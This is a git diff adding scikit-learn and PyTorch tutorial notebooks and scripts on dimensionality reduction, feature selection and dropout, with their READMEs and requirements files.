"fvJfKhFq8hQc", + "outputId": "acbc4c59-acbd-4ff4-bacb-e54b55e0312f" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Original number of features: 64\n", + "Reduced number of features: 40\n" + ] + } + ], + "source": [ + "# Load the data\n", + "digits = datasets.load_digits()\n", + "# Feature matrix standardization\n", + "features = StandardScaler().fit_transform(digits.data)\n", + "# Perform PCA While retaining 80% of variance\n", + "pca = PCA(n_components=0.95, whiten=True)\n", + "# perform PCA\n", + "pcafeatures = pca.fit_transform(features)\n", + "# Display results\n", + "print(\"Original number of features:\", features.shape[1])\n", + "print(\"Reduced number of features:\", pcafeatures.shape[1])" + ] + }, + { + "cell_type": "code", + "execution_count": 3, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "jyU800Lf8it4", + "outputId": "0d4c73bf-7d08-48e6-a44f-a5647a2e0c11" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Original number of features: 2\n", + "Reduced number of features: 1\n" + ] + } + ], + "source": [ + "# Creation of the linearly inseparable data\n", + "features, _ = make_circles(n_samples=2000, random_state=1, noise=0.1, factor=0.1)\n", + "# kernal PCA with radius basis function (RBF) kernel application\n", + "k_pca = KernelPCA(kernel=\"rbf\", gamma=16, n_components=1)\n", + "k_pcaf = k_pca.fit_transform(features)\n", + "print(\"Original number of features:\", features.shape[1])\n", + "print(\"Reduced number of features:\", k_pcaf.shape[1])" + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "IfCo5TA28kn6", + "outputId": "312956a9-9fb5-4296-d766-a3e642649da1" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "number of features(original): 4\n", + "number of features that was reduced: 1\n" + ] + } + ], + "source": [ + "#flower dataset loading:\n", + "iris = datasets.load_iris()\n", + "features = iris.data\n", + "target = iris.target\n", + "# Creation of LDA. Use of LDA for features transformation\n", + "lda = LinearDiscriminantAnalysis(n_components=1)\n", + "features_lda = lda.fit(features, target).transform(features)\n", + "# Print the number of features\n", + "print(\"number of features(original):\", features.shape[1])\n", + "print(\"number of features that was reduced:\", features_lda.shape[1])" + ] + }, + { + "cell_type": "code", + "execution_count": 5, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "yjQBlMtM8mQu", + "outputId": "800279fb-f44b-43e8-9210-a35b8e190fc7" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "array([0.9912126])" + ] + }, + "execution_count": 5, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "lda.explained_variance_ratio_" + ] + }, + { + "cell_type": "code", + "execution_count": 10, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "tHOWTxn18nf7", + "outputId": "ae3c857a-0ca8-4508-affc-b5ea4dff6788" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "1" + ] + }, + "execution_count": 10, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Load Iris flower dataset:\n", + "iris123 = datasets.load_iris()\n", + "features = iris123.data\n", + "target = iris123.target\n", + "# Create and run LDA\n", + "lda_r = LinearDiscriminantAnalysis(n_components=None)\n", + "features_lda = lda_r.fit(features, target)\n", + "# array of explained variance ratios\n", + "lda_var_r = lda_r.explained_variance_ratio_\n", + "# function ceration\n", + "def select_n_c(v_ratio, g_var: float) -> int:\n", + " # initial variance explained setting\n", + " total_v = 0.0\n", + " # number of features initialisation\n", + " n_components = 0\n", + " # If we consider explained variance of each feature:\n", + " for explained_v in v_ratio:\n", + " # explained variance addition to the total\n", + " total_v += explained_v\n", + " # add one to number of components\n", + " n_components += 1\n", + " # we attain our goal level of explained variance\n", + " if total_v >= g_var:\n", + " # end the loop\n", + " break\n", + " # return the number of components\n", + " return n_components\n", + "\n", + "# run the function\n", + "select_n_c(lda_var_r, 0.95)" + ] + }, + { + "cell_type": "code", + "execution_count": 7, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "12zwY1Du8o6i", + "outputId": "e9178fdf-2195-41cc-f4c3-a1e52c030df5" + }, + "outputs": [ + { + "name": "stderr", + "output_type": "stream", + "text": [ + "/usr/local/lib/python3.7/dist-packages/sklearn/decomposition/_nmf.py:294: FutureWarning: The 'init' value, when 'init=None' and n_components is less than n_samples and n_features, will be changed from 'nndsvd' to 'nndsvda' in 1.1 (renaming of 0.26).\n", + " FutureWarning,\n" + ] + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Original number of features: 64\n", + "Reduced number of features: 12\n" + ] + }, + { + "name": "stderr", + "output_type": "stream", + "text": [ + "/usr/local/lib/python3.7/dist-packages/sklearn/decomposition/_nmf.py:1641: ConvergenceWarning: Maximum number of iterations 200 reached. Increase it to improve convergence.\n", + " ConvergenceWarning,\n" + ] + } + ], + "source": [ + "# data loading\n", + "digit = datasets.load_digits()\n", + "# feature matrix loading\n", + "feature_m = digit.data\n", + "# Creation, fit and application of NMF\n", + "n_mf = NMF(n_components=12, random_state=1)\n", + "features_nmf = n_mf.fit_transform(feature_m)\n", + "# Show results\n", + "print(\"Original number of features:\", feature_m.shape[1])\n", + "print(\"Reduced number of features:\", features_nmf.shape[1])" + ] + }, + { + "cell_type": "code", + "execution_count": 8, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "wrEYF9Ql8qtU", + "outputId": "c28d28be-4f0b-4bd7-bb56-fde6ead38a45" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Original number of features: 64\n", + "Reduced number of features: 12\n" + ] + } + ], + "source": [ + "# data loading\n", + "digit123 = datasets.load_digits()\n", + "# feature matrix Standardization\n", + "features_m = StandardScaler().fit_transform(digit123.data)\n", + "# sparse matrix creation\n", + "f_sparse = csr_matrix(features_m)\n", + "# TSVD creation\n", + "tsvd = TruncatedSVD(n_components=12)\n", + "# sparse matrix TSVD\n", + "features_sp_tsvd = tsvd.fit(f_sparse).transform(f_sparse)\n", + "# results\n", + "print(\"Original number of features:\", f_sparse.shape[1])\n", + "print(\"Reduced number of features:\", features_sp_tsvd.shape[1])" + ] + }, + { + "cell_type": "code", + "execution_count": 9, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "xRQ_nUf_8sZA", + "outputId": "19b8d99c-b330-406d-e728-407c18d82f20" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "0.3003938539283667" + ] + }, + "execution_count": 9, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Sum of first three components' explained variance ratios\n", + "tsvd.explained_variance_ratio_[0:3].sum()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "zbExVkXp8vpi" + }, + "outputs": [], + "source": [] + } + ], + "metadata": { + "colab": { + "name": "DimentionalityReductionUsingFeatureExtraction_PythonCodeTutorial.ipynb", + "provenance": [] + }, + "interpreter": { + "hash": "f89a88aed07bbcd763ac68893150ace71e487877d8c6527a76855322f20001c6" + }, + "kernelspec": { + "display_name": "Python 3.9.12 64-bit", + "language": "python", + "name": "python3" + }, + "language_info": { + "name": "python", + "version": "3.9.12" + } + }, + "nbformat": 4, + "nbformat_minor": 0 +} diff --git a/machine-learning/dimensionality-reduction-feature-extraction/README.md b/machine-learning/dimensionality-reduction-feature-extraction/README.md new file mode 100644 index 00000000..0d59a6cb --- /dev/null +++ b/machine-learning/dimensionality-reduction-feature-extraction/README.md @@ -0,0 +1 @@ +# [Dimensionality Reduction: Feature Extraction using Scikit-learn in Python](https://www.thepythoncode.com/article/dimensionality-reduction-using-feature-extraction-sklearn) \ No newline at end of file diff --git a/machine-learning/dimensionality-reduction-feature-extraction/dimentionalityreductionusingfeatureextraction_pythoncodetutorial.py b/machine-learning/dimensionality-reduction-feature-extraction/dimentionalityreductionusingfeatureextraction_pythoncodetutorial.py new file mode 100644 index 00000000..0ed9dbbd --- /dev/null +++ b/machine-learning/dimensionality-reduction-feature-extraction/dimentionalityreductionusingfeatureextraction_pythoncodetutorial.py @@ -0,0 +1,110 @@ +# -*- coding: utf-8 -*- +"""DimentionalityReductionUsingFeatureExtraction_PythonCodeTutorial.ipynb + +Automatically generated by Colaboratory. + +Original file is located at + https://colab.research.google.com/drive/1KIR85hqoxb0VCiX8KipjZeb21cNPfDXN +""" + +from sklearn import datasets +from sklearn.discriminant_analysis import LinearDiscriminantAnalysis +from sklearn.decomposition import PCA, KernelPCA +from sklearn.datasets import make_circles +from sklearn.preprocessing import StandardScaler +from sklearn.decomposition import NMF +from sklearn.decomposition import TruncatedSVD +from scipy.sparse import csr_matrix + +# Load the data +digits = datasets.load_digits() +# Feature matrix standardization +features = StandardScaler().fit_transform(digits.data) +# Perform PCA While retaining 80% of variance +pca = PCA(n_components=0.95, whiten=True) +# perform PCA +pcafeatures = pca.fit_transform(features) +# Display results +print("Original number of features:", features.shape[1]) +print("Reduced number of features:", pcafeatures.shape[1]) + +# Creation of the linearly inseparable data +features, _ = make_circles(n_samples=2000, random_state=1, noise=0.1, factor=0.1) +# kernal PCA with radius basis function (RBF) kernel application +k_pca = KernelPCA(kernel="rbf", gamma=16, n_components=1) +k_pcaf = k_pca.fit_transform(features) +print("Original number of features:", features.shape[1]) +print("Reduced number of features:", k_pcaf.shape[1]) + +#flower dataset loading: +iris = datasets.load_iris() +features = iris.data +target = iris.target +# Creation of LDA. Use of LDA for features transformation +lda = LinearDiscriminantAnalysis(n_components=1) +features_lda = lda.fit(features, target).transform(features) +# Print the number of features +print("number of features(original):", features.shape[1]) +print("number of features that was reduced:", features_lda.shape[1]) + +lda.explained_variance_ratio_ + +# Load Iris flower dataset: +iris123 = datasets.load_iris() +features = iris123.data +target = iris123.target +# Create and run LDA +lda_r = LinearDiscriminantAnalysis(n_components=None) +features_lda = lda_r.fit(features, target) +# array of explained variance ratios +lda_var_r = lda_r.explained_variance_ratio_ +# function ceration +def select_n_c(v_ratio, g_var: float) -> int: + # initial variance explained setting + total_v = 0.0 + # number of features initialisation + n_components = 0 + # If we consider explained variance of each feature: + for explained_v in v_ratio: + # explained variance addition to the total + total_v += explained_v + # add one to number of components + n_components += 1 + # we attain our goal level of explained variance + if total_v >= g_var: + # end the loop + break + # return the number of components + return n_components + +# run the function +select_n_c(lda_var_r, 0.95) + +# data loading +digit = datasets.load_digits() +# feature matrix loading +feature_m = digit.data +# Creation, fit and application of NMF +n_mf = NMF(n_components=12, random_state=1) +features_nmf = n_mf.fit_transform(feature_m) +# Show results +print("Original number of features:", feature_m.shape[1]) +print("Reduced number of features:", features_nmf.shape[1]) + +# data loading +digit123 = datasets.load_digits() +# feature matrix Standardization +features_m = StandardScaler().fit_transform(digit123.data) +# sparse matrix creation +f_sparse = csr_matrix(features_m) +# TSVD creation +tsvd = TruncatedSVD(n_components=12) +# sparse matrix TSVD +features_sp_tsvd = tsvd.fit(f_sparse).transform(f_sparse) +# results +print("Original number of features:", f_sparse.shape[1]) +print("Reduced number of features:", features_sp_tsvd.shape[1]) + +# Sum of first three components' explained variance ratios +tsvd.explained_variance_ratio_[0:3].sum() + diff --git a/machine-learning/dimensionality-reduction-feature-extraction/requirements.txt b/machine-learning/dimensionality-reduction-feature-extraction/requirements.txt new file mode 100644 index 00000000..04fd6a59 --- /dev/null +++ b/machine-learning/dimensionality-reduction-feature-extraction/requirements.txt @@ -0,0 +1,2 @@ +sklearn +scipy \ No newline at end of file diff --git a/machine-learning/dimensionality-reduction-feature-selection/README.md b/machine-learning/dimensionality-reduction-feature-selection/README.md new file mode 100644 index 00000000..8b5eb3a2 --- /dev/null +++ b/machine-learning/dimensionality-reduction-feature-selection/README.md @@ -0,0 +1 @@ +# [Dimensionality Reduction Using Feature Selection in Python](https://www.thepythoncode.com/article/dimensionality-reduction-feature-selection) \ No newline at end of file diff --git a/machine-learning/dimensionality-reduction-feature-selection/dimensionality_reduction_using_feature_selection.ipynb b/machine-learning/dimensionality-reduction-feature-selection/dimensionality_reduction_using_feature_selection.ipynb new file mode 100644 index 00000000..66dbcc71 --- /dev/null +++ b/machine-learning/dimensionality-reduction-feature-selection/dimensionality_reduction_using_feature_selection.ipynb @@ -0,0 +1,306 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "iImkWEpRSiRq" + }, + "outputs": [], + "source": [ + "\n", + "# Load libraries\n", + "import pandas as pd\n", + "import numpy as np\n", + "from sklearn.datasets import load_iris, make_regression\n", + "from sklearn.feature_selection import SelectKBest, chi2, f_classif, SelectPercentile, VarianceThreshold, RFECV\n", + "from sklearn.preprocessing import StandardScaler\n", + "import warnings\n", + "from sklearn import datasets, linear_model" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "ZEK7KAyzSokS", + "outputId": "7ce72382-c116-4f51-df7b-1f975c1c25f8" + }, + "outputs": [], + "source": [ + "# Load libraries\n", + "# import data\n", + "iris = datasets.load_iris()\n", + "# Create features and target\n", + "features_i = iris.data\n", + "target_i = iris.target\n", + "# thresholder creation\n", + "thresholder = VarianceThreshold(threshold=.4)\n", + "# high variance feature matrix creation\n", + "f_high_variance = thresholder.fit_transform(features_i)\n", + "# View high variance feature matrix\n", + "f_high_variance[0:3]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "7ZZgOg1-SpuX", + "outputId": "a869adde-0b29-4630-9661-34377f110d4f" + }, + "outputs": [], + "source": [ + "# View variances\n", + "thresholder.fit(features_i).variances_" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "zYNK4wP5Sq9R", + "outputId": "30e18ea5-4b63-43e5-819e-9a99251dfae6" + }, + "outputs": [], + "source": [ + "\n", + "# feature matrix stantardization\n", + "scaler = StandardScaler()\n", + "f_std = scaler.fit_transform(features_i)\n", + "# variance of each feature calculation\n", + "selection = VarianceThreshold()\n", + "selection.fit(f_std).variances_" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "jDGMP97LSuiB", + "outputId": "c1b9d537-495f-4109-ef75-324fe9943668" + }, + "outputs": [], + "source": [ + "# feature matrix creation with:\n", + "# for Feature 0: 80% class 0\n", + "# for Feature 1: 80% class 1\n", + "# for Feature 2: 60% class 0, 40% class 1\n", + "features_i = [[0, 2, 0],\n", + "[0, 1, 1],\n", + "[0, 1, 0],\n", + "[0, 1, 1],\n", + "[1, 0, 0]]\n", + "# threshold by variance\n", + "thresholding = VarianceThreshold(threshold=(.65 * (1 - .65)))\n", + "thresholding.fit_transform(features_i)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 198 + }, + "id": "JvnObeKXS6xm", + "outputId": "19dac143-9407-4bb4-cc23-b19b06025617" + }, + "outputs": [], + "source": [ + "# Create feature matrix with two highly correlated features\n", + "features_m = np.array([[1, 1, 1],\n", + "[2, 2, 0],\n", + "[3, 3, 1],\n", + "[4, 4, 0],\n", + "[5, 5, 1],\n", + "[6, 6, 0],\n", + "[7, 7, 1],\n", + "[8, 7, 0],\n", + "[9, 7, 1]])\n", + "# Conversion of feature matrix\n", + "dataframe = pd.DataFrame(features_m)\n", + "# correlation matrix creation\n", + "corr_m = dataframe.corr().abs()\n", + "# upper triangle selection\n", + "upper1 = corr_m.where(np.triu(np.ones(corr_m.shape),\n", + "k=1).astype(np.bool))\n", + "# For correlation greater than 0.85, Find index of feature columns\n", + "droping = [col for col in upper1.columns if any(upper1[col] > 0.85)]\n", + "# Drop features\n", + "dataframe.drop(dataframe.columns[droping], axis=1).head(3)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "Dos1ZfkDS-Zd", + "outputId": "17e96f0d-a55a-4943-90a9-99aa3c31fad3" + }, + "outputs": [], + "source": [ + "# Load data\n", + "iris_i = load_iris()\n", + "features_v = iris.data\n", + "target = iris.target\n", + "# categorical data coversion\n", + "features_v = features_v.astype(int)\n", + "# Selection of two features using highest chi-squared \n", + "chi2_s = SelectKBest(chi2, k=2)\n", + "f_kbest = chi2_s.fit_transform(features_v, target)\n", + "# Show results\n", + "print(\"Original number of features:\", features_v.shape[1])\n", + "print(\"Reduced number of features:\", f_kbest.shape[1])" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "y10u_gQbTCwR", + "outputId": "651182ab-d857-4a3d-db61-4fff866d167c" + }, + "outputs": [], + "source": [ + "# Selection of two features using highest F-values\n", + "f_selector = SelectKBest(f_classif, k=2)\n", + "f_kbest = f_selector.fit_transform(features_v, target)\n", + "# Pisplay results\n", + "print(\"Original number of features:\", features_v.shape[1])\n", + "print(\"Reduced number of features:\", f_kbest.shape[1])" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "5NXAa6UKTHiu", + "outputId": "c34866b2-c08c-4020-b14d-78deb98f2834" + }, + "outputs": [], + "source": [ + "# Selection of top 65% of features \n", + "f_selector = SelectPercentile(f_classif, percentile=65)\n", + "f_kbest = f_selector.fit_transform(features_v, target)\n", + "# Display results\n", + "print(\"Original number of features:\", features_v.shape[1])\n", + "print(\"Reduced number of features:\", f_kbest.shape[1])" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "39-Wq-F9TKVg", + "outputId": "e52c0537-2245-4f12-ea9a-ace232984ec1" + }, + "outputs": [], + "source": [ + "# Load libraries\n", + "# Suppress an annoying but harmless warning\n", + "warnings.filterwarnings(action=\"ignore\", module=\"scipy\",\n", + "message=\"^internal gelsd\")\n", + "# features matrix, target vector, true coefficients\n", + "features_f, target_t = make_regression(n_samples = 10000,\n", + "n_features = 100,\n", + "n_informative = 2,\n", + "random_state = 1)\n", + "# linear regression creation\n", + "ols = linear_model.LinearRegression()\n", + "# Recursive features elimination\n", + "rfecv = RFECV(estimator=ols, step=2, scoring=\"neg_mean_squared_error\")\n", + "rfecv.fit(features_f, target_t)\n", + "rfecv.transform(features_f)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "Ut1mgIGEUhJM", + "outputId": "f365a4d5-63f4-4a55-e828-d331e6f06308" + }, + "outputs": [], + "source": [ + "# Number of best features\n", + "rfecv.n_features_" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "Lpt7I_Q0UjN1", + "outputId": "4d6938dc-d813-42a5-c1b7-9ba4865a0e86" + }, + "outputs": [], + "source": [ + "# What the best categories ?\n", + "rfecv.support_" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "ojYKsEbTUkMu", + "outputId": "98652d92-f58f-41fe-9ba1-b1ecd3ef7ecb" + }, + "outputs": [], + "source": [ + "# We can even see how the features are ranked\n", + "rfecv.ranking_" + ] + } + ], + "metadata": { + "colab": { + "name": "Untitled42.ipynb", + "provenance": [] + }, + "kernelspec": { + "display_name": "Python 3", + "name": "python3" + }, + "language_info": { + "name": "python" + } + }, + "nbformat": 4, + "nbformat_minor": 0 +} diff --git a/machine-learning/dimensionality-reduction-feature-selection/dimensionality_reduction_using_feature_selection.py b/machine-learning/dimensionality-reduction-feature-selection/dimensionality_reduction_using_feature_selection.py new file mode 100644 index 00000000..def7d87c --- /dev/null +++ b/machine-learning/dimensionality-reduction-feature-selection/dimensionality_reduction_using_feature_selection.py @@ -0,0 +1,136 @@ +# -*- coding: utf-8 -*- +"""Untitled42.ipynb + +Automatically generated by Colaboratory. + +Original file is located at + https://colab.research.google.com/drive/1pE7KFZcxTLcnAuXUXcKSfsfskiMMPVQd +""" + +from sklearn.feature_selection import VarianceThreshold +from sklearn.feature_selection import VarianceThreshold +# Load libraries +import pandas as pd +import numpy as np +# Load libraries +from sklearn.datasets import load_iris +from sklearn.feature_selection import SelectKBest +from sklearn.feature_selection import chi2, f_classif +from sklearn.feature_selection import SelectPercentile +from sklearn.preprocessing import StandardScaler +import warnings +from sklearn.datasets import make_regression +from sklearn.feature_selection import RFECV +from sklearn import datasets, linear_model + +# Load libraries +# import data +iris = datasets.load_iris() +# Create features and target +features_i = iris.data +target_i = iris.target +# thresholder creation +thresholder = VarianceThreshold(threshold=.4) +# high variance feature matrix creation +f_high_variance = thresholder.fit_transform(features_i) +# View high variance feature matrix +f_high_variance[0:3] + +# View variances +thresholder.fit(features_i).variances_ + +# feature matrix stantardization +scaler = StandardScaler() +f_std = scaler.fit_transform(features_i) +# variance of each feature calculation +selection = VarianceThreshold() +selection.fit(f_std).variances_ + +# feature matrix creation with: +# for Feature 0: 80% class 0 +# for Feature 1: 80% class 1 +# for Feature 2: 60% class 0, 40% class 1 +features_i = [[0, 2, 0], +[0, 1, 1], +[0, 1, 0], +[0, 1, 1], +[1, 0, 0]] +# threshold by variance +thresholding = VarianceThreshold(threshold=(.65 * (1 - .65))) +thresholding.fit_transform(features_i) + +# Create feature matrix with two highly correlated features +features_m = np.array([[1, 1, 1], +[2, 2, 0], +[3, 3, 1], +[4, 4, 0], +[5, 5, 1], +[6, 6, 0], +[7, 7, 1], +[8, 7, 0], +[9, 7, 1]]) +# Conversion of feature matrix +dataframe = pd.DataFrame(features_m) +# correlation matrix creation +corr_m = dataframe.corr().abs() +# upper triangle selection +upper1 = corr_m.where(np.triu(np.ones(corr_m.shape), +k=1).astype(np.bool)) +# For correlation greater than 0.85, Find index of feature columns +droping = [col for col in upper1.columns if any(upper1[col] > 0.85)] +# Drop features +dataframe.drop(dataframe.columns[droping], axis=1).head(3) + +# Load data +iris_i = load_iris() +features_v = iris.data +target = iris.target +# categorical data coversion +features_v = features_v.astype(int) +# Selection of two features using highest chi-squared +chi2_s = SelectKBest(chi2, k=2) +f_kbest = chi2_s.fit_transform(features_v, target) +# Show results +print("Original number of features:", features_v.shape[1]) +print("Reduced number of features:", f_kbest.shape[1]) + +# Selection of two features using highest F-values +f_selector = SelectKBest(f_classif, k=2) +f_kbest = f_selector.fit_transform(features_v, target) +# Pisplay results +print("Original number of features:", features_v.shape[1]) +print("Reduced number of features:", f_kbest.shape[1]) + +# Selection of top 65% of features +f_selector = SelectPercentile(f_classif, percentile=65) +f_kbest = f_selector.fit_transform(features_v, target) +# Display results +print("Original number of features:", features_v.shape[1]) +print("Reduced number of features:", f_kbest.shape[1]) + +# Load libraries +# Suppress an annoying but harmless warning +warnings.filterwarnings(action="ignore", module="scipy", +message="^internal gelsd") +# features matrix, target vector, true coefficients +features_f, target_t = make_regression(n_samples = 10000, +n_features = 100, +n_informative = 2, +random_state = 1) +# linear regression creation +ols = linear_model.LinearRegression() +# Recursive features elimination +rfecv = RFECV(estimator=ols, step=2, scoring="neg_mean_squared_error") +rfecv.fit(features_f, target_t) +rfecv.transform(features_f) + +# Number of best features +rfecv.n_features_ + +# What the best categories ? +rfecv.support_ + +# We can even see how the features are ranked +rfecv.ranking_ + +help(SelectKBest) \ No newline at end of file diff --git a/machine-learning/dimensionality-reduction-feature-selection/requirements b/machine-learning/dimensionality-reduction-feature-selection/requirements new file mode 100644 index 00000000..5ab9999b --- /dev/null +++ b/machine-learning/dimensionality-reduction-feature-selection/requirements @@ -0,0 +1,3 @@ +numpy +pandas +sklearn diff --git a/machine-learning/dropout-in-pytorch/DropoutRegularizationPyTorch_PythonCodeTutorial.ipynb b/machine-learning/dropout-in-pytorch/DropoutRegularizationPyTorch_PythonCodeTutorial.ipynb new file mode 100644 index 00000000..0e5fa0c3 --- /dev/null +++ b/machine-learning/dropout-in-pytorch/DropoutRegularizationPyTorch_PythonCodeTutorial.ipynb @@ -0,0 +1,1110 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "o7H1OrBb2L6P" + }, + "outputs": [], + "source": [ + "import torch\n", + "import torchvision\n", + "import torchvision.transforms as transforms\n", + "import matplotlib.pyplot as plt\n", + "import numpy as np" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "2nq95nVQE_00", + "outputId": "6257f18c-6cd7-45c6-8b11-e74d7f489e1d" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "device(type='cuda', index=0)" + ] + }, + "metadata": {}, + "execution_count": 2 + } + ], + "source": [ + "# defining our device, 'cuda:0' if CUDA is available, 'cpu' otherwise\n", + "device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n", + "device" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "4RlJUUwp2NnJ" + }, + "outputs": [], + "source": [ + "# make the transform pipeline, converting to tensor and normalizing\n", + "transform = transforms.Compose([\n", + " transforms.ToTensor(),\n", + " transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))\n", + "])\n", + "# the batch size during training\n", + "batch_size = 64" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 86, + "referenced_widgets": [ + "b4a6874638e2443f8c43e0db744fa327", + "befda00472714307afad3307ced59f39", + "073e2b2d0c164e5ba3ab91c64618e27c", + "367a2d97f6014f67b2557e5e26a76e2b", + "faa9f040562349cea6bf0b619249d5b4", + "506e3b6439b6476499deaf812300bf48", + "fee449ec39d24cbdbd6912bbdd95649f", + "ccda80a9207f470bb93b1ce9c7fb67d4", + "ad67632afdf947c8b7136799037a63df", + "50a6c0a6110e470291a56b008d7657b3", + "2ec3f8f6c8ae408ea62db2cc9368483a" + ] + }, + "id": "7G1YZeI22dlK", + "outputId": "1baea523-3955-445e-de6a-8a3e7ec1ebe2" + }, + "outputs": [ + { + "output_type": "stream", + "name": "stdout", + "text": [ + "Downloading https://www.cs.toronto.edu/~kriz/cifar-10-python.tar.gz to ./data/cifar-10-python.tar.gz\n" + ] + }, + { + "output_type": "display_data", + "data": { + "text/plain": [ + " 0%| | 0/170498071 [00:00" + ], + "image/png": "iVBORw0KGgoAAAANSUhEUgAAAagAAAEICAYAAAAKrmAuAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAADh0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uMy4yLjIsIGh0dHA6Ly9tYXRwbG90bGliLm9yZy+WH4yJAAAgAElEQVR4nOzdd3xV5f3A8c83g2wSSFhJCAl7hL1BpoqKA7XaugVXxVZtq9a2v9ZiraN1Vq21VQtO3OLCgWUje++wIWFkkb2T5/fHcwIhZAG5uUnu9/165ZV7z/yec8853/M85znniDEGpZRSqrHxcncASimlVFU0QSmllGqUNEEppZRqlDRBKaWUapQ0QSmllGqUNEEppZRqlM4pQYnIDBF5p76CUa4jIgtF5A53xwEgItNF5JiI5IhIeB2GnyoiSxsiNtW4tpVyIrJVRMbX0N9tMYvIfhG5wB3zbu5qTFDOAaT8r0xE8it8v7G+gxGRYSIyV0QyRCRdRFaJyLT6nk9DEJFYETEi4uPuWBoTEfEFngMmGWOCjTFplfq7dL05J1VGRO6v1P1+p/sM5/t45/srlYZbKiJTnc+nJE4ROU9EfhSRTGf7XSYiQ0XkDxX2mwIRKa3wfWsVMdbbOhCRWSLy13OdTg3Tb5CDszGmjzFmoTPPZnliLCItRCRVRILPcLxZIlIkItnO3xYReVJEQl0V67k4k22mxgTlHECCjTHBwEHg8grd3q2PYMuJyEhgPrAI6AqEA9OBS6oZvskf+JvDMpyFdoA/cNqBuQElALdU6nar072iXOBmEYmtbYIi0hL4CngJaA1EAY8ChcaYJyrsR3cDyyvsR33OaUlUczIW2GCMyTmLcf9ujAkB2gDTgBHAMhEJqmrgpnLsqY9rUC1E5C0nc28VkSHlPUQkUkQ+EZEUEdknIvfVMJ2ngTeNMX8zxqQaa60x5qfOtMaLSKKIPCwiR4GZIuInIi+IyGHn7wUR8XOGjxCRryqUxpaIiJfT72ERSXJi3iki51cXlIiMcM6KM0RkY8VqBqda4THnTDlbRL4XkQin92Lnf4ZzpjzSOeNeJiLPi0gaMENEQp31lyIiB0TkjxXiLB/+ZeesfEd5rCJyrYisrRTrb0Tk89p+MBHxcuZzQESSnfmHOv38ReQdEUlzlnm1iLSrEM9eZ1n3STWl6Op+FxHpDuyssF7mVzH6aeutwnSfEZHjzrwvqdA9VETeEJEjzu/6VxHxrmEVrAYCRaSPM34fbNJcXWm4DGAW8OcaplWuO4AxZrYxptQYk2+M+d4Ys6kO41ZW5ToQkdtEZLuzDr4TkU5Od3G2qWQRyRKRzSISLyJ3ATcCv3Wm82VVMxORC51tK1NEXgakQr8uIjLf2R5SReRdEQlz+r0NxABfOtP/rdP9IxE56kxvcfl6rmK+E0Rkc4Xv80RkdYXvS0TkSufzfhG5QEQuBv4A/MyZ58YKk+xUzb5Yeb6txB4bUpx1+ZWIRFfoX9N+jYjc7Ow7aSLyf1XNwxkuztmHyvfn10QkuUL/t0XkVxVGmQzMdfpFisgXYo9du0XkzurmU5ExpsAYsxq4AnuSP82ZXr0de2qLTyqV2sU5dpcvM1VsMzUtUJ3+gP3ABZW6zQAKnBXrDTwJrHD6eQFrgUeAFkBnYC9wURXTDgRKgQk1zH88UAL8DfADAoC/ACuAttgzhx+Bx5zhnwReBXydvzHYHa8HcAiIdIaLBbpUM88o